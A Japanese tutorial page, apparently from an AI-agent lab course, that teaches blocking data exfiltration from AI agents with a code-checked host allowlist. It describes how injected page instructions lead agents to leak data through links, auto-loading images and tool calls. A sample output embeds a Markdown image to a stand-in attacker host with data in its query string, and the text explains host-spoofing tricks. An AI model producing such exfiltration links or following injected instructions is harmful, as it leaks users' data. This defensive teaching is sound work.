クリーム色の背景、色付き表示、高コントラスト、大きな文字のほうが読みやすいですか?配色と文字を選ぶと、すべてのページに一度で反映されます。

無料レッスン

AIエージェントからのデータ流出対策

このレッスンのあとで: データがエージェントから出ていく経路を、コードで検査する許可リストでふさげる。

65分のレッスンコマンド9件AI コーディングエージェントのラボ:opencode でコードを説明・修正し、その結果を確かめる

データはどう出ていくか?

データ流出とは、持ち主が想定しない経路でデータが出ていくことです。エージェントの出口はチャットボットより多いです。返答のリンク、画像、ツール呼び出し、Webリクエストがあります。

「LLMアプリケーションの安全対策」は、インジェクションを扱いました。このレッスンは出口をふさぎます。ページに隠された命令が、エージェントの知る情報を送る先をなくします。

このレッスンのゴール

メモ

データがエージェントから出ていく経路を、コードで検査する許可リストでふさげる。

キーワード

ことばいみれい
データ流出持ち主が想定しない経路でデータが出ていくこと
許可リスト許す宛先だけを並べ、ほかはすべて断る一覧docs.example.jp
ホストリンクの中のサーバー名。// と次の / の間
クエリ文字列リンクの ? の後ろ。データを運べる部分
外向きの通信自分のシステムから別の所へ出ていく通信

学生が入力するセルは、このプレビューでは空白です。

データが出る4つの経路

リンクは返答の中にあります。ユーザーがクリックすると、アドレスがデータを運びます。画像は返答の中にあります。ブラウザが自動で読み込むので、クリックなしでデータが出ます。

ツール呼び出しは、エージェントが引数にデータを入れて送る要求です。ファイル名やメッセージは、チャットやメールのツールに渡ります。

4つとも、宛先かメッセージにデータを入れます。どこへ行くかを確かめます。

例: 経路と検査

経路データの出方検査
リンククエリ文字列かパスの中ホストが許可リストにある
画像ブラウザがすぐ読み込む同じホスト検査か、画像を使わない
Web要求ツールアドレスか本文の中ホストが許可リストにあり、メソッドも限る
チャットやメールメッセージの文面の中宛先が許可リストにある

学生が入力するセルは、このプレビューでは空白です。

Runはリンクを調べるだけ

最初のスクリプトは、架空の出力を4つ持ちます。リンクを見つけてホストを読み、許可リストと比べます。

何も取りに行きません。アドレスは架空で、読むだけです。画像リンクの書き方に注目してください。感嘆符で始まりますが、スクリプトは文字コードから作ります。

リンク検査を書く(1)

コマンド
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const allowed = [\"docs.example.jp\", \"help.example.jp\"];' 'const bang = String.fromCharCode(33);' 'const outputs = [' '  \"手順は https://docs.example.jp/start にあります。\",' '  \"完了しました。 \" + bang + \"[logo](https://img.attacker.example/p.png?d=TANAKA-4411)\",' '  \"続けるには [フォーム](https://help.example.jp/form) を開いてください。\",' '  \"確認のため https://track.example.net/c?note=secret を押してください。\",' '];' > egress.js"

ここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。

リンク検査を書く(2)

コマンド
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'function hostOf(url) {' '  return url.split(\"/\")[2].split(\"?\")[0];' '}' 'function urlsIn(text) {' '  const found = [];' '  for (const word of text.split(\" \")) {' '    const at = word.indexOf(\"http\");' '    if (at >= 0) found.push(word.slice(at).split(\")\")[0].split(\"。\")[0]);' '  }' '  return found;' '}' 'for (const text of outputs) {' '  for (const url of urlsIn(text)) {' '    const ok = allowed.includes(hostOf(url));' '    const query = url.includes(\"?\") ? \"  (クエリ付き)\" : \"\";' '    console.log((ok ? \"許可  \" : \"ブロック  \") + hostOf(url) + query);' '  }' '}' >> egress.js"

ここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。

リンク検査を実行

コマンド
docker exec -w /home/node/project agent node egress.js

ここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。

スクリプトの出力

行意味
許可 docs.example.jpホストがリストにある
ブロック img.attacker.example (クエリ付き)知らない相手への画像。アドレスにデータ
許可 help.example.jpリストにあるホストへのリンク
ブロック track.example.net (クエリ付き)誰もリストに入れていないホスト

学生が入力するセルは、このプレビューでは空白です。

ホスト全体を、そのまま比べる

リンクが許可した名前で始まるかを調べるだけでは弱いです。docs.example.jp.attacker.example はその名前で始まりますが、別の所へ行きます。

リンクには、@ の前に名前を置くこともできます。[email protected] では、本当のホストは @ の後ろです。ホストを取り出し、全体を比べます。

よくある間違い

注意

悪いホストを並べた拒否リストを作る人が多いです。攻撃者は新しいホストをいくらでも作れます。許すものを並べ、残りは断ります。返答を見せる前に、コードで行います。

モデル用スクリプトを書く(1)

コマンド
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const { ask } = require(\"./model\");' '' 'const allowed = [\"docs.example.jp\", \"help.example.jp\"];' 'const messages = [' '  { role: \"system\", content: \"あなたはソフトウェア製品の利用者を助けます。https://docs.example.jp/help へのMarkdownリンクを1つだけ入れ、1文で答えてください。\" },' '  { role: \"user\", content: \"ヘルプはどこで見られますか。\" },' '];' '// 記録済みサンプル。モデルが答えないときだけ使います。' 'const sample = \"ヘルプは [ガイド](https://docs.example.jp/help) で見られます。\";' > egress2.js"

ここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。

モデル用スクリプトを書く(2)

コマンド
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'function hostOf(url) {' '  return url.split(\"/\")[2].split(\"?\")[0];' '}' 'function urlsIn(text) {' '  const found = [];' '  for (const word of text.split(\" \")) {' '    const at = word.indexOf(\"http\");' '    if (at >= 0) found.push(word.slice(at).split(\")\")[0].split(\"。\")[0]);' '  }' '  return found;' '}' >> egress2.js"

ここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。

モデル用スクリプトを書く(3)

コマンド
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'async function main() {' '  const reply = await ask(messages, sample, 80);' '  console.log(\"返答: \" + reply);' '  const urls = urlsIn(reply);' '  console.log(\"見つかったリンク: \" + urls.length);' '  for (const url of urls) {' '    console.log((allowed.includes(hostOf(url)) ? \"許可  \" : \"ブロック  \") + hostOf(url));' '  }' '}' 'main();' >> egress2.js"

ここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。

モデル用ヘルパーを書く(1)

コマンド
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const base = process.env.AI_URL || \"http://ai:4000\";' 'async function ask(messages, sample, max) {' '  try {' '    const res = await fetch(base + \"/v1/chat/completions\", {' '      method: \"POST\",' '      headers: { \"content-type\": \"application/json\", authorization: \"Bearer lab\" },' '      body: JSON.stringify({ model: \"lab\", messages: messages, max_tokens: max || 200 }),' '      signal: AbortSignal.timeout(30000),' '    });' '    if (res.ok === false) throw new Error(\"status \" + res.status);' '    return (await res.json()).choices[0].message.content;' > model.js"

ここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。

モデル用ヘルパーを書く(2)

コマンド
docker exec -w /home/node/project agent sh -c "printf '%s\n' '  } catch (error) {' '    console.log(\"記録済みサンプル: モデルが答えませんでした (\" + error.message + \")。\");' '    const list = [].concat(sample);' '    const turn = messages.filter(function (m) { return m.role === \"assistant\"; }).length;' '    return list[Math.min(turn, list.length - 1)];' '  }' '}' 'module.exports = { ask };' >> model.js"

ここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。

モデルで実行

コマンド
docker exec -w /home/node/project agent node egress2.js

ここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。

出力の一例

行表示されうる内容
返答リンク付きの1文。言葉は毎回変わります
見つかったリンクたいてい1。返答にあるだけ数えます
許可かブロックリストにあれば許可。ほかのホストはブロック
記録済みサンプルモデルが答えないとき、最初に出ます。サンプルで続きます

学生が入力するセルは、このプレビューでは空白です。

このラボとソースについて: AI コーディングエージェントのラボ:opencode でコードを説明・修正し、その結果を確かめる

授業で使いますか?このモジュールを学生に割り当てると、教員用ガイド、自動採点つきの課題、学生ごとのラボを使えます。